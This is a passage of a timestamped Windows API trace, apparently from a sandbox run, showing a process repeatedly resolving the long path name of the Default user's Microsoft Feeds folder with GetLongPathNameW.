[0118.668] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.669] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.672] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.673] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.673] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.674] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.675] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.678] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.679] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.679] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.680] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.681] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.684] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.684] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.685] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.686] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.686] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.689] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.690] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.691] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.691] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.692] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.695] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.696] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.697] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.697] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.698] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.701] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.702] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.702] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.703] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.704] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.713] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.714] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.714] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.715] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.716] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.719] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.720] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.720] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.721] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.722] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.726] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.727] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.728] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.729] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.730] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.734] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.735] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.736] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.737] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.738] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.741] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.741] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.742] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.743] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.743] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.747] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.747] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.748] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.749] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.749] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.752] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.753] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.754] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.754] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.755] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.758] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.759] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.759] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.760] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.761] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.764] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.764] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.765] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.766] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.766] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.770] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.771] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.771] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.772] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.773] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.776] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.776] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.777] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.778] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.778] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.781] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.782] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.783] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.783] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.784] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.787] GetLongPathNameW (in: 